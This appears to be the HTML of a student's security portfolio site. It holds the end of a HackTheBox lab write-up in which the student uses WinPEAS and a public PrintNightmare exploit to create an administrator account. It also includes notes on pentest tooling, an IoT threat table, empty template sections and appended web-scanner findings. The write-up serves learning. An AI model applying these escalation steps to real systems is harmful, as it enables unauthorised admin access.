href="img/portfolio/minor/red/htb_windows/SimpleHTTPServer.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/SimpleHTTPServer.png" alt=""></a> <a href="img/portfolio/minor/red/htb_windows/WgetWinpeas.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/WgetWinpeas.png" alt=""></a> <a href="img/portfolio/minor/red/htb_windows/ProcessPrintSpool.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/ProcessPrintSpool.png" alt=""></a> <p>Really the only interesting thing WinPEAS found was a Print spooler process. After some Googling I stubled across <a href="https://github.com/calebstewart/CVE-2021-1675">this</a> CVE. So lets get that exploit on the target machine in the same way we did with WinPEAS.</p> <a href="img/portfolio/minor/red/htb_windows/WgetPrintNightmare.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/WgetPrintNightmare.png" alt=""></a> <p>I wasn't able to run the script because of some permission issues, but after some Googling I found out I could just set the policy to unrestricted.</p> <a href="img/portfolio/minor/red/htb_windows/RunExploit.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/RunExploit.png" alt=""></a> <p>I ran the exploit and it created a new administrator account for me with a username and password that I chose and know. Now the only thing that's left is just to logout as this user and login with our new user.</p> <a href="img/portfolio/minor/red/htb_windows/RootFlag.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/RootFlag.png" alt=""></a> <p>And that's it! We have the root flag! This box wasn't that hard but still fun and sometimes challenging due to my lack of knowledge of Windows hacking. Overall a fun learning experience.</p> <ul class="list-inline"> <li>Date: October 2021</li> <li>Client: Fontys</li> <li>Category: Minor Red-teaming</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal23" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal24" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal25" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S7</h2> <p class="item-intro text-muted">My personal pen-testing toolboxes</p> <p>Like every other profession good tools make a world of difference on the quality and efficiency of the end product. This isn't any different with cyber security. Good tools can improve results providing you with more information and helping with getting to the results faster.</p> <h3>On the road</h3> <a href="img/portfolio/minor/red/kalilinux.jpg"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/kalilinux.jpg" alt=""></a> <p>On the road when I'm on my laptop I like to use Kali Linux. It's just convenient that it comes pre-loaded with all the tools you need, and it runs fairly lightweight on older laptops. The "kali-undercover" command is also a fun little gimmick that changes your Kali desktop to a Windows clone which for a random passer by looks just like a regular Windows machine. Making it incognito to use Kali whenever you're in a public space and want to keep a low profile.</p> <h3>At home</h3> <a href="img/portfolio/minor/red/parrotos.jpg"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/parrotos.jpg" alt=""></a> <p>At home on my main desktop PC I recently switched to natively running ParrotOS. This was because I liked to try something new and the reviews were good. It comes pre-loaded with the same tools as kali and a few extra tools like diverting all traffic trough tor making the machine even more anonymous. The user experience is a little better and just overall a good looking distro. This comes at a cost because it takes more resources to run. This isn't a problem on my PC because it's quite powerful and I don't have to think about battery life. Alongside ParrotOS I run a Windows VM in qemu with WinApps running on Linux which enables me to run any Windows application I want on Linux. I mostly use it for Microsoft Office products.</p> <h3>Cloud</h3> <a href="img/portfolio/minor/red/googlecloudconsole.PNG"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/googlecloudconsole.PNG" alt=""></a> <p>Google cloud console is an awesome way to always have a Linux machine at your disposal where ever you are. It's fully cloud based and free to use. So when you're in need of a Linux terminal and you have access to a browser you're set. The only downside is that the machine is volatile so when you shut it down it is gone. This requires you to always re-install tools and such. Luckily due to it running on Google cloud it is pretty fast. Just overall a good tool to know about.</p> <a href="img/portfolio/minor/red/guacamole.PNG"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/guacamole.PNG" alt=""></a> <p>Now Guacamole is kinda like Google cloud console, but it's self-hosted. It can turn any machine with a SSH server into a cloud based web terminal accessible from any browser where ever you are. It takes a little time and effort to set it up but it is worth it. All the benefits from Google cloud console but your data is hosted by you and it is saved. In my case I installed Kali Linux on a docker server and now I can access it whenever I need to it doesn't matter if I'm on Windows, Linux or even my phone.</p> <a href="img/portfolio/minor/red/guacamoleconsole.PNG"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/guacamoleconsole.PNG" alt=""></a> <h3>Windows</h3> <a href="img/portfolio/minor/red/wsl.jpg"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/wsl.jpg" alt=""></a> <p>Whenever I'm using Windows and need to do a quick little task that requires Linux I don't want to reboot and boot into Linux because it's a hassle. That's when I use WSL. WSL stands for Windows Subsystem for Linux and it works great. It's not everything for example network related stuff is not possible due to WSL not having direct access to the network card but for other simple stuff it works great. And if I need to do a quick little scan I can use the Windows version of NMap. And if I need a little more functionality I can always use the before mentioned Guacamole to have instant access to a fully functional Kali instance in my browser.</p> <ul class="list-inline"> <li>Date: September 2021</li> <li>Client: Fontys</li> <li>Category: Minor Red-teaming</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal26" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S7</h2> <p class="item-intro text-muted">Security of IOT protocols and technology</p> <p>Nowadays more and more people have their home filled with smart devices. Almost everything is smart in some way. Which creates new problems like security. These products weren't made with security in mind, on the contrary, they were made to be cheap and easy to use for people without IT knowledge.</p> <p>This causes IOT products to be, the most of the time, the weakest link in someones network. But IOT is here to stay and it is improving fast so let's take a look at some common security protocols.</p> <table> <tr> <th>Protocol</th> <th>Feature</th> <th>TCP/UDP</th> <th>Security</th> </tr> <tr> <td>LOWPAN</td> <td>WPANs to maintain an IPv6 network</td> <td>TCP</td> <td>SSL</td> </tr> <tr> <td>MQTT</td> <td>To utilize the publish/subscribe pattern to provide transition flexibility and simplicity of implementation </td> <td>TCP</td> <td>SSL</td> </tr> <tr> <td>AMQP</td> <td>To provide publish-subscribe and point-to point communication</td> <td>TCP</td> <td>SSL</td> </tr> <tr> <td>CoAP</td> <td>To connect resource-constrained devices in a secure and reliable way</td> <td>UDP</td> <td>DTLS</td> </tr> <tr> <td>XMPP</td> <td>To transfer instant messaging (IM) standard that is used for multi-party chatting, voice and video calling and telepresence </td> <td>TCP</td> <td>SSL</td> </tr> <tr> <td>DSS</td> <td>To enable scalable, real-time, dependable, high-performance and interoperable data exchanges using a publish–subscribe pattern </td> <td>TCP/UDP</td> <td>SSL</td> </tr> </table> <p>To show the security flaws in IOT devices</p> <table> <thead> <tr class="rowsep-1 valign-top"> <th scope="col">Layers</th> <th scope="col">Attacks</th> <th scope="col">Issues</th> <th scope="col">Control Measures</th> </tr> </thead> <tbody> <tr class="valign-top"> <td class="align-left" rowspan="6">Perception</td> <td class="align-left">Hardware Tempering</td> <td class="align-left">Data Leakage (Keys, Routing Tables, Etc)</td> <td class="align-left">Secure Physical Design</td> </tr> <tr class="valign-top"> <td class="align-left">Fake Node Injection</td> <td class="align-left">Fake Data Manipulation</td> <td class="align-left">Secure Booting</td> </tr> <tr class="valign-top"> <td class="align-left">Malicious Code Injection</td> <td class="align-left">Halt Transmission</td> <td class="align-left">Intrusion Detection Technology (IDT)</td> </tr> <tr class="valign-top"> <td class="align-left">Sleep Denial Attack</td> <td class="align-left">Node Shutdown</td> <td class="align-left">Authentication</td> </tr> <tr class="valign-top"> <td class="align-left">WSN Node Jamming</td> <td class="align-left">Jam Node Communication</td> <td class="align-left">IPSec Security Channel</td> </tr> <tr class="valign-top"> <td class="align-left">RF Interference Of RFID</td> <td class="align-left">Distortion In Node Communication</td> <td class="align-left">Authentication</td> </tr> <tr class="valign-top"> <td class="align-left" rowspan="12">Network</td> <td class="align-left">Traffic Analysis Attacks</td> <td class="align-left">Data Leakage (About Network)</td> <td class="align-left">Routing Security</td> </tr> <tr class="valign-top"> <td class="align-left">RFID Spoofing</td> <td class="align-left">Intrusion In Network Data Manipulation</td> <td class="align-left">GPS Location System</td> </tr> <tr class="valign-top"> <td class="align-left">RFID Unauthorized Access</td> <td class="align-left">Node Data Can Be Modified (Read, Write & Delete)</td> <td class="align-left">Network Authentication</td> </tr> <tr class="valign-top"> <td class="align-left">Sinkhole Attack</td> <td class="align-left">Data Leakage (Data Of The Nodes)</td> <td class="align-left">Security Aware Ad Hoc Routing</td> </tr> <tr class="valign-top"> <td class="align-left">Man In The Middle Attack</td> <td class="align-left">Data Privacy Violation</td> <td class="align-left">Point-To-Point Encryption</td> </tr> <tr class="valign-top"> <td class="align-left">Routing Information Attack</td> <td class="align-left">Routing Loops (Network Destruction)</td> <td class="align-left">Encrypting Routing Tables</td> </tr> <tr class="valign-top"> <td class="align-left">Application Security</td> <td class="align-left">Privacy Violation</td> <td class="align-left">Web Application Scanner</td> </tr> <tr class="valign-top"> <td class="align-left">Data Security</td> <td class="align-left">Data Leakage (User Data On Cloud)</td> <td class="align-left">Homomorphic Encryption</td> </tr> <tr class="valign-top"> <td class="align-left">Underlying Infrastructure Security</td> <td class="align-left">Service Hijacking</td> <td class="align-left">Fragmentation Redundancy Scattering</td> </tr> <tr class="valign-top"> <td class="align-left">Third-Party Relationships</td> <td class="align-left">Data Leakage (User Data On Cloud)</td> <td class="align-left">Encryption</td> </tr> <tr class="valign-top"> <td class="align-left">Shared Resources</td> <td class="align-left">Resources Destruction</td> <td class="align-left">Hyper Safe</td> </tr> <tr class="valign-top"> <td class="align-left">Virtualization Threats</td> <td class="align-left">Resources Theft</td> <td class="align-left">Hyper Safe</td> </tr> <tr class="valign-top"> <td class="align-left" rowspan="6">Application</td> <td class="align-left">Phishing Attacks</td> <td class="align-left">Data Leakage (User Credentials Data)</td> <td class="align-left">Biometrics Authentication</td> </tr> <tr class="valign-top"> <td class="align-left">Virus, Worms, Trojan Horse, Spyware</td> <td class="align-left">Resource Destruction & Hijacking</td> <td class="align-left">Protective Software</td> </tr> <tr class="valign-top"> <td class="align-left">Malicious Scripts</td> <td class="align-left">Hijacking</td> <td class="align-left">Firewalls</td> </tr> <tr class="valign-top"> <td class="align-left">Denial Of Service</td> <td class="align-left">Resource Destruction</td> <td class="align-left">Access Control Lists</td> </tr> <tr class="valign-top"> <td class="align-left">Data Protection And Recovery</td> <td class="align-left">Data Loss & Catastrophic Damage</td> <td class="align-left">Cryptographic Hash Functions</td> </tr> <tr class="valign-top"> <td class="align-left">Software Vulnerabilities</td> <td class="align-left">Buffer Over Flow</td> <td class="align-left">Awareness Of Security</td> </tr> </tbody> </table> <a href="https://www.sciencedirect.com/science/article/pii/S108480452030237X#sec3">Source</a> <p>As seen in this article there are a lot of different vulnerabilities in IOT devices. And not all of them can be solved with just a good security protocol.</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: November 2021</li> <li>Client: Fontys</li> <li>Category: Minor Red-teaming</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal27" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal28" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal29" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal30" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal31" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal23" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal33" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal34" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal35" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal36" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal37" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal38" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal39" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal40" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <script data-cfasync="false" src="/cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js"></script><script src="vendor/jquery/jquery.min.js"></script> <script src="vendor/bootstrap/js/bootstrap.bundle.min.js"></script> <script src="vendor/jquery-easing/jquery.easing.min.js"></script> <script src="js/jqBootstrapValidation.js"></script> <script src="js/contact_me.js"></script> <script src="js/agency.min.js"></script> <script src="https://cdn.jsdelivr.net/gh/google/code-prettify@master/loader/run_prettify.js"></script> </body> </html>Parameter Cache-ControlSolution Whenever possible ensure the cache-control HTTP header is set with no-cache, no-store, must-revalidate.
GET https://beekmans.dev/cdn-cgi/l/email-protection
Alert tags Alert description The cache-control header has not been set properly or is missing, allowing the browser and proxies to cache content.
Request Request line and header section (250 bytes)
GET https://beekmans.dev/cdn-cgi/l/email-protection HTTP/1.1 Host: beekmans.dev User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0 Pragma: no-cache Cache-Control: no-cache Referer: https://beekmans.devRequest body (0 bytes)
Response Status line and header section (226 bytes)
HTTP/1.1 200 OK Date: Mon, 06 Dec 2021 09:55:13 GMT Content-Type: text/html; charset=UTF-8 Connection: keep-alive X-Frame-Options: DENY Server: cloudflare CF-RAY: 6b94a32b6a450c09-AMS X-Content-Type-Options: nosniffResponse body (4234 bytes)
<!DOCTYPE html> <!--[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]--> <!--[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]--> <!--[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]--> <!--[if gt IE 8]><!--> <html class="no-js" lang="en-US"> <!--<![endif]--> <head> <title>Email Protection | Cloudflare</title> <meta charset="UTF-8" /> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> <meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1" /> <meta name="robots" content="noindex, nofollow" /> <meta name="viewport" content="width=device-width,initial-scale=1" /> <link rel="stylesheet" id="cf_styles-css" href="/cdn-cgi/styles/cf.errors.css" type="text/css" media="screen,projection" /> <!--[if lt IE 9]><link rel="stylesheet" id='cf_styles-ie-css' href="/cdn-cgi/styles/cf.errors.ie.css" type="text/css" media="screen,projection" /><![endif]--> <style type="text/css">body{margin:0;padding:0}</style> <!--[if gte IE 10]><!--> <script> if (!navigator.cookieEnabled) { window.addEventListener('DOMContentLoaded', function () { var cookieEl = document.getElementById('cookie-alert'); cookieEl.style.display = 'block'; }) } </script> <!--<![endif]--> </head> <body> <div id="cf-wrapper"> <div class="cf-alert cf-alert-error cf-cookie-error" id="cookie-alert" data-translate="enable_cookies">Please enable cookies.</div> <div id="cf-error-details" class="cf-error-details-wrapper"> <div class="cf-wrapper cf-header cf-error-overview"> <h1 data-translate="block_headline">Email Protection</h1> <h2 class="cf-subheadline"><span data-translate="unable_to_access">You are unable to access this email address</span> beekmans.dev</h2> </div><!-- /.header --> <div class="cf-section cf-wrapper"> <div class="cf-columns two"> <div class="cf-column"> <p>The website from which you got to this page is protected by Cloudflare. Email addresses on that page have been hidden in order to keep them from being accessed by malicious bots. <strong>You must enable Javascript in your browser in order to decode the e-mail address</strong>.</p> <p>If you have a website and are interested in protecting it in a similar way, you can <a rel="noopener noreferrer" href="https://www.cloudflare.com/sign-up?utm_source=email_protection">sign up for Cloudflare</a>.</p> </div> <div class="cf-column"> <div class="grid_4"> <div class="rail"> <div class="panel"> <ul class="nobullets"> <li><a rel="noopener noreferrer" class="modal-link-faq" href="https://support.cloudflare.com/hc/en-us/articles/200170016-What-is-Email-Address-Obfuscation-">How does Cloudflare protect email addresses on website from spammers?</a></li> <li><a rel="noopener noreferrer" class="modal-link-faq" href="https://support.cloudflare.com/hc/en-us/categories/200275218-Getting-Started">Can I sign up for Cloudflare?</a></li> </ul> </div> </div> </div> </div> </div> </div><!-- /.section --> <div class="cf-error-footer cf-wrapper w-240 lg:w-full py-10 sm:py-4 sm:px-8 mx-auto text-center sm:text-left border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">6b94a32b6a450c09</strong></span> <span class="cf-footer-separator sm:hidden">•</span> <span class="cf-footer-item sm:block sm:mb-1"><span>Your IP</span>: 145.93.113.188</span> <span class="cf-footer-separator sm:hidden">•</span> <span class="cf-footer-item sm:block sm:mb-1"><span>Performance & security by</span> <a rel="noopener noreferrer" href="https://www.cloudflare.com/5xx-error-landing" id="brand_link" target="_blank">Cloudflare</a></span> </p> </div><!-- /.error-footer --> </div><!-- /#cf-error-details --> </div><!-- /#cf-wrapper --> <script type="text/javascript"> window._cf_translation = {}; </script> </body> </html>Parameter Cache-ControlSolution Whenever possible ensure the cache-control HTTP header is set with no-cache, no-store, must-revalidate.
-
Private IP Disclosure (2)
GET https://beekmans.dev
Alert tags Alert description A private IP (such as 10.x.x.x, 172.x.x.x, 192.168.x.x) or an Amazon EC2 private hostname (for example, ip-10-0-56-78) has been found in the HTTP response body. This information might be helpful for further attacks targeting internal systems.
Other info 172.16.0.2
172.16.0.3
10.10.14.40:8888
10.10.14.40:8888
10.10.14.88:8888
172.18.0.1
172.18.0.100
172.18.0.100
10.10.14.161
Request Request line and header section (192 bytes)
